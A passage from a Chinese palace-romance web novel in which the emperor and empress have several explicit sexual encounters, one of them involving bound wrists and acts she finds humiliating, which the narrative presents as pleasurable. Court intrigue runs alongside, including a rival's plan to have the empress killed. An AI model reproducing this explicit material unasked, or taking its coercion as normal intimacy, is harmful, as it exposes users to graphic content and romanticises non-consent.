沈若辞转身就走,才走出几步,就见岳常安笑盈盈地迎上来行礼,“老奴疏忽,竟没有亲自来迎接娘娘。”说着便将沈若辞引到了殿门口,然后对着那小太监骂了一声,“没长眼睛的,还不快给皇后娘娘开门。” 小太监赶紧听命去开门。 门被从外边打开,岳常安扯着嗓子禀报,“禀皇上,皇后娘娘求见。” 屋里静默了一会,才传来低沉的声音,“进来。” 锦云和沈若辞一同进入殿中,她将食盒交给沈若辞,便识相地告退。 殿中点着灯,亮莹莹的,元栩正坐在书桌前,埋首钻研手中的书册。暖光的灯光落在他的脸上,棱角分明的五官此时变得柔和起来,不得不承认,这副皮相是极好的。 看的什么书,能认真成这个样子?沈若辞端详了一会,不由得有些出神。 等了半天不见人说话,最后还是元栩先开的口,“皇后不是说给朕送了莲子羹来?” 沈若辞这才发现自己盯着人看了半天,她伸手想要去食盒里拿莲子羹,但手伸到一半,却又停了下来,“皇上不喜欢甜食,臣妾下回做点别的送来。” 既然都不喜欢了,还提起来做什么? 元栩忽然放下来手中的书册,似乎对她的莲子羹起了兴趣,“朕喜不喜欢,还要看怎么吃。” 沈若辞心想能怎么吃,难不成要她亲手喂?这已经是她认知里最出格的做法了。 她礼貌性地接话,“皇上想怎么吃?” 此后的时间里,沈若辞无数次为此事后悔,后悔自己嘴贱去接他的话! 瓷羹微凉,落在白皙绵软上,她不受控制地打了个冷颤,红梅宛如点缀,比熟透的樱桃更加诱人。 她懵懵懂懂,直到他将翻开的那本装订精美的书册,拿到她眼前时,才恍然明白过来。 书中美人不着寸缕,被放倒在书案上,手脚均被细软绸带所缚……敢情这些日子,他夜里不睡觉,学的尽是这些见不得人的混账玩意。 什么励精图治,什么废寝忘食,通通都是骗人的,学的分明是折辱人的手段。 沈若辞如书册中美人一般,仰躺在平日里元栩用来喝茶用膳的梨花紫檀木圆桌上,无力地闭了闭眼睛。 作者有话说:捂眼… 嗯,脚债脚偿 第57章 脑子里全是他五官被打湿的模样, 额头、剑眉、甚至连嘴唇,都染上了一层透明的水光。 这些,都是她的。 她只是来送个汤而已, 若是他心中仍有气,仍不肯原谅她那夜失脚那一下, 她可以服软道歉,何必要用这样子手段让她丢脸难堪。 沈若辞根本没有勇气起来面对他, 她身上的衣裳乱糟糟的,也没有心思整理, 她捂着脸,轻轻地啜泣着, 也不知道为什么, 反正她觉得自己被欺负了, 被冒犯了, 很是恼火。 元栩却无犯错的自觉,此时语气中还带着调侃, “皇后就打算这么躺着, 不起来了么?” 沈若辞当然不想这么衣衫不整而又姿态不雅地躺在这里,她拿开捂着眼睛的手,垂至身侧,手上使了一点劲, 勉勉强强撑起半个身子。 元栩已经将唇上、眉上的湿润拭去,此时又是清风朗月、纤尘不染的俊美郎君。 沈若辞见他拿着干净的布巾,动作娴熟地落在她细腰下方, 裙裳交叠之处。她咬着唇,倔强地别过头去不看他。 好不容易清理好了,沈若辞刚想坐起来, 又被他按了回去,她疑惑地瞪他,就听他脸不红心不跳地说道,“皇后方才是舒服到了,那夜的事,朕还没消气。” 此时他伸手抚上她的右足,似乎在告诫她,正是这只脚将他踢伤的。 伤害龙体的罪名可大可小,何况她那一脚,踢的还是皇家子嗣繁衍的根基,沈若辞不由得有些心虚。 “皇后真的没有赎罪的意思?”元栩握着她右脚脚踝,慢条斯理地用布巾擦拭着她的脚上的每一寸肌肤,认真且细致,一个脚指头也不放过,仿佛擦拭的是一块上等无暇的美玉,而非她平平无奇的右脚。 沈若辞不知道她的脚有什么好擦的,耐着性子忍了好一会儿,还是忍不住开口问道,“皇上究竟想做什么!” 元栩终于满意地放下布巾,望着她娇艳如桃花的脸庞,愉悦道,“皇后马上就会知道了。” 握着她脚踝的那只手动了动,在沈若辞错愕的目光中,他嘴角噙着笑意,握起她的脚往他的腰间缓缓地移动过去…… 沈若辞脚底一阵滚烫,反应过来他在做什么的时候,惊恐地瞪大了眼睛。 他笑得肆意风流,“既然这只脚伤的朕,只好用它来赎罪了,沿沿不会反对吧。” 沈若辞觉得眼眶发烫,几乎不敢去想眼前烫人的一幕,元栩手上动作不停,她的脚也一直被迫着。 他的眼神在她身上留连,原本平整的额角有青筋微微凸起,掌心开始湿漉漉的,连带她的脚踝也染上一层湿意。 见她有意闭上眼睛,他终于伸出空着右手,倾身过去扣着她的下巴。 修长的手指碾过她的樱唇,薄薄小小的两瓣,这么小的嘴……明明身量不低,身上很多地方却要比普通人精致小巧许多。 元栩自然知道小有小的好处,他是在她身上领略过滋味了——除却第一次,他初初经历的时候,并不比她好受,甚至比她还要疼…… 只是后来,他便体会到其中的妙处。这些事本就不能细想,何况此时箭在弦上,他更是身不由己,情难自禁。 元栩垂着眼皮,眼角染上一层薄红,忽然倾身过来吻住她的唇,沈若辞能感觉到他浑身都在战|栗,却始终紧紧得握着她,唇舌还在攻略她,要不是她的脚还被他握着,被他迫着……她被他亲得,魂都要飞了。 最后那一下,元栩咬了一下她的唇,天地之间忽然安静下里,所有的外界的声音都消失了,只余留二人浑重的呼吸声,交缠不休。 沈若辞觉得脚底板酸软无力,就像是走了一天的路那般疲惫不堪。 他跌坐在她正下方的圈椅上,修长的四肢舒展,歪着头单手撑额,似仍沉浸在方才那场荒诞的情事里。 沈若辞浑身卸了力气,她有些自暴自弃,任由自己的右脚从桌面垂下去。 她想,现在连她的脚底板也脏了。 被他弄脏的。 究竟是帝王家才会如此放纵……不堪,还是寻常夫妻也是如此不受约束,随心所欲? 沈若辞茫然地望着上方,思绪漫散。 情-欲一事,有时候真的是迷人眼,乱人智,男人这样,女人也如此。 一个时辰后,沈若辞从龙泽殿内出来的时候,心虚得不敢看锦云一眼。她步履不停,五指握紧了锦云的手腕,才不至于瘫软下去。 一想到事后,皇帝搂着她,一本正经地宽慰她,“此事乃人之常情,皇后不是也舒服到了?”不知是不是当时太过羞耻看花了眼,她隐约记得皇帝说这话的时候,还舔了一下嘴唇。 那时她衣衫凌乱,粉颊殷红如血,手腕上被绑出两道红痕,浑身更是软得不像话,连弯一下手指的力气都没有。 跟元栩一身整洁如初的相比,她便显得狼狈极了。丢人,实在太丢人了! 好不容易回到了雪辉宫,沈若辞喝下一大杯荔枝蜜泡的温水,润透了喉咙,勉强找回自己的声音。 锦云打开食盒查看,发现莲子羹被一扫而空,只留下空碗,她崇拜地看向沈若辞,“娘娘真厉害,竟然能让皇上将莲子羹都吃了。”她听小太监说,其他宫的妃子送过去的东西,皇上可是一点没碰。 快别说了!沈若辞现在听不得关于莲子羹的话,一听身子就止不住轻颤,她那里现在还黏黏腻腻的,难受得紧。哪有人吃东西要这样子的,又吮又舔,跟个小娃娃一样! 锦云正等着皇后娘娘解疑,却见她盯着空碗红了脸,一双美目久久失神。她想起方才回来的第一件事,就是让人准备沐浴用的水,忽然心领神会,捂着脸去帮沈若辞准备寝衣。 浴池里,沈若辞手里握着柔软的布巾,一点一点仔仔细细地拭去丰软上的甜腻。 布巾落下,现出深深浅浅的吻痕和指痕。沈若辞莫名有些口干,她扯着布巾,下意识将水中纤-腿交叠起来。 除去屈辱,那感觉真是……陌生又刺激。 这边沈若辞还没从方才的混乱中回过神来,荣月就进来禀报,连亦心要来拜见。 沈若辞心里清楚,后宫中的女人,包括太后在内,多多少少对她都有些敌意。她们之中有直白嘲讽的,有假意奉承的,有背后说坏话的,她其实一眼就能看出来,只是无所谓罢了,没有必要搅进她们那摊浑水。 可是连亦心却是个特别的存在,她看不出这女人想做什么,每回碰面,都会用一种奇怪的眼神看她,明明小心翼翼、楚楚可怜的模样,沈若辞却总是被她看得心里发毛。 荣月见皇后娘娘披着樱色的绸缎外袍,挽着简单的发髻,不似平日里那般端庄华贵,但她觉得此时慵懒随意的娘娘似乎更加妩媚动人,她忍不住多看了两眼。 “去请她进来吧。” 荣月忙收回目光应下。 连亦心听到荣月请她进去的话,心里没由来松了一口气。没走出两步,她回味过来自己下意识的反应,心想,她为什么会对沈若辞有莫名的畏惧感呢? 不应该啊,她不过是她人生中的一个过客,红颜薄命,终究是没活过年少。这一世只是有些偏差,因为她父亲的事,侥幸入宫,侥幸得了后位,终不能长久。 想到这里,连亦心又志得意满起来,她知道所有人的结局,站得原本就比别人高,看得比别人清,她可以未雨绸缪,可以为自己铺路,也可以清除挡路的障碍。 殿内,连亦心行礼后,便端正地坐在下首的圈椅。二人闲聊了几句,沈若辞切入正题,“连姑娘特意过来雪辉宫,是有什么要紧事吗?” 连亦心一愣,才回道,“表哥政务繁忙,我怕他冷落了娘娘,来陪您说说话。” 沈若辞笑笑,“连姑娘真是有心了。” 她长了一张漂亮的脸蛋,夸人的时候很容易让对方信服,连亦心觉得她是真心实意在感谢自己,无意识放松了警惕。 “其实还有一件事,皇上前几日龙体有恙,还惊动了沈太医过去龙泽宫问诊,不知娘娘有耳闻?” 沈若辞悠闲地品着皇帝前些天送来的新茶,心想这么大的事,她却是没听说,方才他不还龙精虎猛地用她的脚好一顿揉搓,半点看不出有病。 不过沈若辞还是微微诧异道,“是吗,本宫没有听皇上说起。” 连亦心心中一阵得意,表哥怎么会说呢,他正值壮年,年轻气盛的年岁,却因为后宫中没有喜欢的女子,生生忍下欲望,甚至忍出病来。 她虽心疼,但更多的却是欣喜。 连亦心将那日元栩流鼻血的事讲给沈若辞听,本意是想打压沈若辞,让她看清自己虽占着后位却不受宠的境地。可沈若辞听完,也是错愕了半天。 他就……就这么大需求吗? 在雪辉宫留宿的夜晚,她都吃不消了,更何况他还有其他妃子,甚至宫女可以宠幸,怎么可以做到这个地步还无法满足的? 沈若辞想,她有必要找时间去彤史那里看看后宫众位妃子的侍寝记录,没准她能发现一位医书中都未曾写过的“奇才”。 连亦心讲完后,就见这位皇后脸上的神色可谓是五彩缤纷,说不出的精彩,眼见对方上钩了,她还关切地伸手过去,一把握住对方的手,“娘娘也不必心伤,您跟皇上毕竟相处得还是太少,平日里多去龙泽殿走走,多关心一下皇上,没准他就对您心软了。” 要说沈若辞最初不清楚连亦心此行的目的,此刻就对她的用心看得清清楚楚,明明白白了。 她仍微笑着,“多谢连姑娘的用心,本宫必然不会辜负连姑娘的美意。” 连亦心只当她是被自己哄住了,既然目的达到了,她也就离开了。 当夜,元栩宿在雪辉宫里。 沈若辞想到白天里连亦心说皇帝流鼻血的事,又不想他要个不停,于是假装软言糯语地劝他,“皇上切不可仗着自己年轻,就过度纵欲,若是身子亏损了,要补回来就难了。” 元栩没有接受她的劝诫,只是抬起他那双含情眼睨着她,却不说话。 沈若辞被他看得心里发毛。 他忽地开口,“朕去碰其他女人,沿沿真的不在意吗?” 这话听在沈若辞耳朵里分明是试探的味道更多,她自然有扮演好一颗棋子的本分,“皇上能做到雨露均沾,不偏不倚,臣妾已经已经很开心了。” 元栩莫名笑出声来。 笑了半晌,又将她压在榻上,泄愤似的吻她。吻着吻着,元栩似乎忘记最初的目的只是想要惩罚她一下,又动情得不能自己。 可明明已经把她撩得意乱情迷,可真的要她的时候,沈若辞还是清醒推开他。 元栩很不满她的突然打断,耐着性子看他,就见她红唇一张一合,欲言又止,“那里,没有碰过别人的脚吧?” 沈若辞虽知道他不止一个女人,但若是他也用别人的脚干这事,她心里觉得挺膈应的,下意识不给他得逞。 “哪里?”他挑眉,眼里风流四溢。 沈若辞哪里不知道他是故意装不懂的,她绷着小脸,指了指他的腰。 元栩笑道,“怎么,若是别人的脚也碰过,你今晚就不给朕,不让朕得逞了是不是?” 其实他强要也是可以的,但是元栩心里高兴,以为她终于会为自己跟其他女人的事吃醋了,不免心中一阵畅快,拉着她的手按在他的腰下,“没有别人,只有沿沿一人碰过。” 只是她一人的脚碰过,沈若辞还是能接受的,毕竟那是自己的脚,也不能嫌弃到哪里去。 她撇撇嘴,轻声道,“以后可不能用脚了,脏。” 元栩徐徐探入,“知道了,不用就是了。” 她又补充道,“也不能用别人的。” 元栩已经完全被她包裹,拿手敲了敲她的头,“认真点。” 可能是有了白天的磨合,这一夜似乎比以往的每一次都要尽兴。 几回过后,好不容易停下来,沈若辞从浴间出来的时候,主动环上了他的脖子,红唇贴着元栩的耳朵,“皇上,明日带沿沿一起去行宫泡温泉,好不好?” 元栩头一回体会到被枕边人吹耳边风的滋味,骨头都酥了。他睨着沈若辞,忍下又要去亲她的冲动,声音沙哑,“泡温泉宫里也有,何必跑那么远。” 伺候皇帝这些日子,沈若辞也学会了察言观色,看着他的表情,就知道他其实是受用的,便乘胜追击,温热的气息丝丝屡屡,扑洒在他的耳畔,“可是臣妾就想陪着皇上一起去。” 元栩握着她的腰,手指一点一点地收紧,缴械投降,“好。” 隔日清晨,元栩如往常一般,早早地睁开眼睛。沈若辞脑袋仍枕在他的臂弯里,身子却离得远远的,好像巴不得跟他划清界限才好。 元栩伸手一捞,揽住雪白柔软的腰肢,将人拉回来。沈若辞仍在睡梦中,朦朦胧胧地推开腰间的手臂,“哥哥,不能再要了……” 元栩薄唇微微上扬,在她唇上落下一吻,没有再动她。 昨夜他逼着她喊“栩哥哥”,伴着娇怯的哭音,一声接着一声,挠得他的心痒痒的。 二人又睡了一觉。 元栩到时间准备上早朝了,他从床上起来,坐在床沿打算舒展一下筋骨,才发现背脊上火辣辣地疼。 他反手到背上摸了摸,才想起来是沈若辞昨夜难耐的时候抓的,那时他也在兴头上,根本没有注意到那点疼痛。只不过此时他也没有发恼,感受着背上阵阵的痛意袭来,心里有种满足的快乐。 元栩起来的时候,沈若辞睡得浅,也跟着苏醒过来,她微微睁开眼睛,入眼便是元栩后背上横七竖八的血痕。 沈若辞瞬间清醒过来。 这得多刺激啊! 她缓缓垂下眼帘,心中在想也不知道是哪个妃子,胆子大成这样,竟然不知轻重地抓伤皇帝? 元栩的手指碰到伤口,忍不住轻“嘶”一声。沈若辞闻声望过去,细看之下才发现有的伤痕还微微渗出血珠,一看就知道是新伤。 昨夜的记忆涌入脑中,沈若辞惊得用手捂住嘴,才不至于叫出声来。 这人把书册上学来的那些下流手段,全都用到了她身上,一会儿撩的她不上不下,一会儿又被撞得魂都飞了,整宿都置身于水深火热之中,现在回想起来,脑中仍觉得羞耻得很。 原来,她才是那个……不知轻重的人! 床上传来轻微的动静,沈若辞害怕皇帝要治她的罪,赶忙闭上眼睛假装还没醒来。耳边的呼吸声越来越重,她能感受到皇帝离她越来越近,甚至温热的气息开始扑洒在脸上。 沈若辞一颗心都要跳出来的时候,元栩微凉的唇落在她的额头上,如蜻蜓点水般,轻轻一碰便离开了。 一阵脚步声之后,元栩已到了外间。沈若辞再次睁开眼睛已睡意全无,她伸手按了按额头,被他嘴唇碰过的地方,有些痒。 隔天下完早朝,沈若辞便跟着出宫的队伍一起前去行宫。 阿茉跟沈若辞同一辆马车,此时见皇后娘娘又开始失神,忍不住问道,“小姐,昨天夜里在雪辉宫,您是不是……很快乐?” 沈若辞的脸更红了,她发恼道,“胡说些什么。” 阿茉若有所思道,“奴婢在殿外听到您的声音,似乎是很舒服的样子。”之前夜里皇帝在雪辉宫里临幸沈若辞的时候,她也有在殿外守着,听到的声音跟今日的确实有不同。 “阿茉!” 沈若辞忽然从水中抬起一只手捂住她的嘴,“不要再说了。” 阿茉笑着站起来,眼睛眯成一条线,她从前听别人说,男女床榻上的事舒服得很。可皇帝头一回在相府里就将她家小姐折腾得哭哭啼啼,好不可怜。 后来进宫后,她每回在殿外听着小姐娇娇柔柔的哭声,既心疼又无奈。 只有这一次,她家小姐虽然也哭了,但明显与之前不同。以往每回她都听得揪心,今晚却是听得面红耳赤,巴不得找个洞钻进去。 沈若辞见阿茉笑得促狭,就觉得那小脑瓜子里想的准没好事,她揉了揉额角,内心有些苦恼。 等到了温泉行宫,元栩从马上下来,就见连骁也来了。他冷着脸看连骁行礼过后,才开口,“舅舅,莫非是朕脑子不中用了?朕不记得有邀请舅舅前来。” 自上回元栩下令无召不得入宫之后,连骁好几回因私事来到宫门口便被拒绝进入,碰了一鼻子灰,带着一肚子气打道回府,至今心里仍窝着火。 连骁嘲讽道,“皇上不允许臣去宫里,难不成这行宫也来不得?” 元栩道,“当然可以,连将军可是朕的舅舅,谁敢阻拦?” “舅舅为官多年,哪些地方该去,哪些地方不该去,恐怕比朕还清楚。” 说话间,沈若辞的马车也到达行宫。 马车停靠在樱树下,此时花开绚烂。她从马车上下来,元栩伸手接住她,那开得最艳的花朵,竟不若她的美貌耀眼。 连亦心望着男女交叠的两只手,心里不是滋味。就算沈若辞是棋子,就算他二人是在人前演戏假装恩爱,她却真真实实被这场面刺激到了。 这种女人水性杨花,抛弃未婚夫入宫为后,有什么资格享受这一切本不属于她的待遇? 沈若辞就应该消失,像梦里预示的那般,死在与袁子逸成婚的那一夜。可难就难在,她如今生活在宫里,不像当初那民间女子一样,稍微用点手段就将人解决了。 连亦心开始思忖要用什么手段要处理沈若辞,她自己解决不了的事,借刀杀人也不失为好办法。 这边沈若辞从马车上下来后,元栩牵着她的手往前,一边走一边说,“既然来了,就一同入宴吧。” 语气淡淡的,只有客套毫无诚意。 连骁近来发现自己身边的女人都长得不尽人意,本来还在奇怪是不是自己看腻了。直到方才见沈若辞从樱花树下探头出来,美得不可方物,才明白原来美人是有对比有差距。 他一路注视着沈若辞纤秀的背影。 元栩忽然停下来,回头看了他一眼道,“从晖,舅舅年纪大了,不比年轻人,你替朕多看着点。” 严从晖领命,便依言走到连骁身后方。 连骁是比元栩大个七八岁,但毕竟不到三十,此时被元栩当年说年纪大,还是在他看中的女人面前,顿时觉得被下了面子,但碍于元栩是皇帝,又没法发作,一气之下扭头就走。 “舅舅……”连亦心想追上去又舍不得放弃可以跟元栩相处的机会,踌躇了一阵后,连骁开口叫住了她,“亦心,还不过来?” 连亦心望着元栩的背影,最后还是跟连骁一起走了。 “那民间女子长得什么样,你还记得吧?”出了温泉行宫,连骁的气明显还没消,他的声音带着怒意,连亦心下意识错开两步,不敢离他太近。 “记得。”皇帝曾经牵肠挂肚的女子,她何曾会忘记 那副容貌她至今仍记得一清二楚! “舅舅突然问起她有什么事” 连骁停下脚步,沉思道,“你回去画一副画像给我,越仔细越好,穿着打扮也要画出来,尽快。” 人都消失两年了,还要她的画像做什么?连亦心不知道连骁的用意,也不敢多问,“舅舅,那女子可能都已经死了,何必……” 连骁胸有成竹,“亦心,不管你信不信,我都能让人起死回生。” “舅舅,我并不想她再出现,就算是亦心求您了。”明明当初她求了连骁很久,花了大力气才让那民间女子消失的,如今连骁一句话就想要她再出现,她无法接受。 连骁冷笑道,“我知道你在想什么,你想做皇后。可如今稳坐后位的是沈若辞,你表哥不过是见她貌美,图一时新鲜,等我将那民间女子送入宫中,届时沈若辞无宠了,你还怕得不到后位?” 连骁位高权重,在族人中是说得上话的,连亦心就算有自己的算计也不敢贸然拒绝连骁。再者,现如今能见到元栩的机会越来越少,靠她自己一个人的力量,几乎是不可能登上后位,此事还需要仰仗连骁的帮助。 再三思索之后,连亦心还是同意了连骁的做法。 今夜的家宴设在荷花池边的水榭里,元琛也来了,他是个爱热闹的主儿,但在九皇叔面前,多少也会收敛一些。 宴席上九皇叔几杯酒下肚,又开始说起程于秋的婚事,“如今盛世太平,老臣心中再无憾事,唯一的牵挂就是阿秋的婚事,程家满门忠烈,如今只剩下阿秋一介孤女,我只盼着她能早日成婚,为程家留个后。如此,我对连程家再没有亏欠了。” 程于秋从座位上站起来,手执一只精美的白瓷杯子,无比感激道,“义父对程家情深义重,一心为程家着想,阿秋感念于心。”说完举起酒杯一饮而尽。 九皇叔满意地点点头,“这些天我也深思熟虑过了,既然后宫已有皇后,阿秋也不防退而求其次,当个贵妃也是不错的选择,你看如何?”说完看向元栩,看完元栩又看程于秋,已经开始征求二人的意见了。 进宫当贵妃?也亏得义父想得出来,行,真行。 程于秋扶着眉心,心道就算恩重如山也不能将人往死里赶啊。方才对九皇叔如山如海般的感激,此刻颓然倾倒,化为内心的一片灰烬。 此时沈若辞也看着她,眼神里满是紧张不安。 就算她跟沈若辞感情好,但也没必要好到要共用一个丈夫啊。她脑子飞速运转,此事只能速战速决,若是皇帝来者不拒,那就完了。此刻只能用她能想到的,最有效的法子了,“义父,阿秋已经有心上人了。” 九皇叔脸色一黑,这明显是他想不到的答案,“是哪个小子,我倒要看看他有没有这个福气!” 元栩全程没有放下筷子,不管旁人说了什么,他都吃得闲适自在。 等到九皇叔开始点名,“皇上就没什么想说的吗?” 元栩才慢条斯理地放下筷子,“既然程将军已有心上人,那日后出嫁,皇家便是你的娘家,朕会为程将军准备丰厚的嫁妆。” 程于秋起身拜谢,“多谢皇上。” 尽管气闷,当着元栩的面,九皇叔也不好再说什么,“几日未活动筋骨,阿秋明早陪本王去爬山。” 程于秋眼皮子一跳,便知九皇叔是不放过她了,要趁明早爬山的机会,对她严刑拷问,只能硬着头皮,“阿秋遵命。” 今晚是家宴,也没有外人,宴席时间并不长。吃过晚饭后,元栩陪九皇叔去了一趟他住的院子,亲自看过院内环境后,又命人送了好些名贵用品过来。沈太医重新为九皇叔开了药,药童将药材处理后放入温泉池里,九皇叔泡了两刻钟,浑身筋骨松泛,就着酒劲早早入睡。 元栩从九皇叔院里出来,他跟沈若辞住的院子在西南方,走过去有一段距离,没走上几步,就见元琛拿着酒壶朝他招手,“走,一起喝上一杯。” 方才晚宴上有九皇叔在,他喝得不尽兴,此刻天色尚早,明日元栩休沐,不用上早朝,正是纵饮夜谈的好时机。 哪知元栩淡淡看了一眼他手中的酒壶,“不去,朕还有要紧事要做。” “这大半夜的,有什么事能比喝酒赏月更要紧的?” 元栩像看傻子一样看着他,“懒得跟你废话。”说完便头也不回地走了。 元栩回到温泉院子里,这里卧房内地上都铺着檀香紫檀木,卧房东面有一扇小门,进去往左是浴间,往右紫檀木地板一路铺过去,铺到小院子里,下去便可泡到温泉。 这个小院是独立的,只能从卧房里进入,极具隐私性。庭院中除去一大一小相连两个池子,地面都铺着整齐的青石板,西南面墙角有一颗老树,看不出什么品种,只知道年岁不小了。 水声潺潺,整个院子清幽雅致,沈若辞懒散地伏在温泉池池壁上,小口小口地啜饮着桂花酿。 这桂花酿是温泉行宫的特色,每年秋季行宫里就开始采收桂花用来酿酒,隔年将密封了一年的酒坛子搬出来,就能饮到一口绵甜醇香的桂花酿。 程于秋来行宫的第一晚,就喝上了这口桂花酿,之后便日日也离不了了,每天都要喝上一小盅。 方才从晚宴上出来,程于秋便塞给她一壶,让她带回来一边泡温泉,一边喝。这不,沈若辞回来后就安排上了。 喝得正欢,屋内有脚步声渐近,沈若辞以为是锦云,“锦云,你要不要也来一口?” 她回头一看,元栩身披月白色长袍,腰间用一条玉带束着,长袍底下赤着一双脚,此时乌发披散下来,五官少了几分帝王的凌厉,经过灯光的晕染,整个人都柔和起来。 沈若辞不得不感慨,这人也不全无优点,至少长得让人赏心悦目。 待见到她手上拿着酒壶,那芝兰玉树的帝王拧着眉不悦道,“少喝点。” 庭院中灯光水汽晕染起来的那点氛围,霎时无存,沈若辞轻咳了一声,“皇上回来啦。” 元栩居高临下地望着她,“方才晚宴上九皇叔有意让朕封程将军为贵妃,皇后作为后宫之主,怎么看?” 这事在晚宴上不是已经翻篇了?沈若辞后知后觉,难不成皇帝真有封阿秋为贵妃的想法?她干笑了几声,虽不知阿秋的心上人为何人,但为了她的终身幸福,绝不能让这狼崽子得逞。 于是沈若辞从水中站起来,轻薄的裙衫被泉水浸透后,紧紧地裹着少女的柔软的身子,姣好的身形一览无余。 她光着脚踩在紫檀木上,留下一道湿漉漉的脚印。 “臣妾伺候您入浴。”她引着元栩一步一步走入温泉池,随后乖顺地坐到他身旁,“皇上,程将军有一身为国效命的本事,倘若入了后宫,便要守宫中规矩,岂不浪费了一身好本领?” 元栩垂眸,深深地睨了她一眼。 眼神不善,沈若辞不禁怀疑自己说错了话,她按着池壁,不动声色地坐到他腿上,而后拿过酒杯,抵着他的唇,见他不反感,便一点一点将酒喂进去。 待他将酒饮尽,沈若辞继续说道,“如今皇上后宫已有淑妃、静妃、连妃、贵妃四位妃子,臣妾跟后宫的姐妹定会尽心尽力服侍皇上。皇上就不要程将军入宫了好不好?” “如何尽心尽力?”他眯着眼看他,长指摩挲着她的后腰,此时本就英俊的眉眼在灯光下泛着温润的光泽,意外好看。 沈若辞与他已有过多次床榻上的经验,一看他的眼神便明白接下来是要她主动了。起初几回,她不懂这眼神的含义,只一味地退让,结果换来他床榻上更加肆虐的掠夺。 几次过后,她也开始摸清门道,每当这时候,她如果主动一点,哪怕是撒个娇,无理取闹一下,他都能愉悦地接受。 这还是头一回在室外,沈若辞又再次降低底线,伸手去接他腰间的玉带。 玉带解开后,长袍衣襟散开,沈若辞扶着他的肩膀,二话不说抵了上去。 沈若辞轻“嘶”了一声,显然在水中,足够湿润的情况下还是不行。 元栩骂得极为克制,“沈若辞,朕叫你尽心伺候,不是叫你去上阵杀敌!” 沈若辞面红耳赤,努力尝试了一番之后,缩着头倒在他怀里,明显还是不行。 看着她那没出息的样子,元栩忍不住嗤笑一声,她似乎还没意识到二人体形的悬殊。除却第一次,哪回不是他耐心地做足前-戏? 见沈若辞像脱水的鱼一样趴着,有气无力地吐着气息,元栩气得牙痒痒的,到底不想浪费难得的户外机会,一把将人抓了起来伺-弄一番,很快脱水的鱼儿开始摇头摆尾。 那头元琛被元栩拒绝后,提着酒瓶子在行宫里闲逛起来,路过程于秋的院子时,他放慢了脚步。 “容王殿下赏月啊?”程于秋在屋顶上探出半个身子。 元琛眼前一亮,“程将军也在赏月啊?” 程于秋爽朗一笑,朝他晃了晃手中的酒瓶,“主要还是喝酒。” 从前在南疆,她倒是很珍惜能跟士兵们一起赏月的夜晚,毕竟这种休战又清闲的日子少之又少。 这才回来不到一个月,她竟有些想念那些出生入死的将士了,一时感怀,“一起喝一杯?” 元琛道,“好啊。” 程于秋拿手敲敲青瓦,“能上来不?” 元琛仰着头,为难地干笑起来。 程于秋会意,站起身来拍去身上的尘土,轻轻一跃,四平八稳地落在元琛身旁。 “冒犯了。” 冒犯什么? 元琛脑子里的疑问才刚冒头,程于秋单手抓起他的手臂,一个起落,人就已经在围墙上了。 屋檐上元琛惊魂未定,抚了抚胸口忍不住赞道,“程将军好身手。” 整个过程酒瓶子始终在程于秋手上,瓶中桂花酿未曾洒出一滴,程于秋放下元琛后,往上走了两步,已先行盘腿坐下来,“坐吧。” 屋顶的视野更加开阔,夜风没有了遮挡,比地面上来得更清爽一些。 无边的黑暗中悬挂着一轮明月,元琛仰着头享受夜风的吹拂,有感而发,“两年前见过南疆的月,如今再看盛京的月,始终觉得少了点意思。” 这话出其意料说到程于秋心里去了。 程于秋回忆起当年的往事,“我还记得,当时刚经历几场恶战,南疆的军资物料紧缺,是殿下奔走于朝廷在南疆附近的四处军资库,筹集到一批军资物料后,一路护送到南疆战场,解了将士们的燃眉之急。” 元琛笑了,“是,事后庆功宴上我也在,跟程将军和将士们对月畅饮了整整一夜。”他闲散了好些年,亲历战场后,着实被将士们鲜活的生命力震撼到了。 战场上每一场庆功宴都值得纪念,程于秋没想元琛也记得这么清楚,当即提前酒瓶敬了他一杯,“容王殿下好记性。” 元琛回敬后,跟随她抬起酒瓶子猛灌一口,而后问道,“庆功宴上我不记得九皇叔他老人家有在,是什么原因来着?” 经他一问,程于秋开始思索当时的情形,“会不会是年纪大了,身子熬不住?”说完便自顾自地笑了,抬起酒瓶子又是一口。 元琛早就不知道把杯子扔哪里去了,看她喝得畅快,又跟着仰头猛灌。可能是酒意上来了,夜风中两人都感觉自己仿佛是回到了南疆广阔无边的天地里,无拘无束,自由畅快。 “干。”二人不约而同地举起酒瓶,瓷器撞击的声音在夜幕中尤其清脆。 静谧的院中水声起伏,沈若辞向后仰着头,线条流畅的脖颈绷得紧紧的,宛若观景湖中最优雅的白天鹅。 “铛”的一声碰撞自不远处传来,猝不及防的响声让沈若辞身子一僵,紧接着是第二声,第三声…… 元栩忍受着喷薄-欲出的快意,拧着眉心揉了揉她的后腰,声音异常暗哑,“放松……” 第58章 碰撞声毫无规律地传来, 沈若辞明显无法忽视,也很难不受影响。直到元栩惩罚性地拍痛了她的臀-部,沉着脸吐出两个字“专心”时, 她吃痛耍起了小性子,重重地撞进他怀里, 猝不及防的碰触,电光火石, 脑子里瞬间炸起烟花,而后默契地抱紧了对方, 耳畔已然听不到任何声响。 事后元栩就着温泉水给沈若辞清理了身子,而后裹上干净的布巾, 将人抱进卧房的时候, 她嘴里还在喃喃道, “皇上, 臣妾有没有尽心尽力……”他差点给气笑了,最后还是绷着脸不情不愿地回答, “算吧。” 翌日清晨, 天才蒙蒙亮,九皇叔已穿戴齐整,就等程于秋来了便可立即出发爬山。可他左等右等,都没等来程于秋现身。 程于秋是军营里出来的人, 向来时间观念极强,为此九皇叔难免以为她是耍心眼子,故意对他避而不见。如此想来, 就一口气冲到她的院子。 “开门。”九皇叔将程于秋的房门敲得砰砰作响,那阵仗看起来像是下一秒就要踹门。 敲了一阵之后,屋里程于秋才姗姗来迟地从里边将门打开, 她穿着中衣,头发凌乱,睡眼惺忪地打着哈欠,“义父,早啊。” 九皇叔闻到她一身酒气,气不打一处来,“早什么早!” 程于秋刚想探头出去看一下天色,就被九皇叔厉声喝回去了,“一身酒气,还不赶紧进去换身衣裳!” “是是是!”程于秋当即缩头回去,往房中退了两步,“义父先坐一下,给我半刻钟的时间。” 九皇叔“哼”了一声,一只脚踏入房中,不经意往里屋一瞥,疑惑道,“床上还有别人?” “什么别……”程于秋顺着九皇叔的视线,回头往床的方向看,就在这时,床榻上缓缓地坐起一人,而后抬起一只手掀开床帏问道,“谁啊,大早上的吵什么吵……” 屋中二人、紧接着三人眼神相接,床帏后现出元琛同样睡眼惺忪的面容! 看清人后,房中静默了一瞬,程于秋感觉自己一个脑袋有两个大。 紧接着九皇叔盛怒,双眼瞪得滚圆,抖着手指向元琛,怒骂程于秋,“这是怎么回事?”没等程于秋开口,他又问道,“你给我说清楚!” 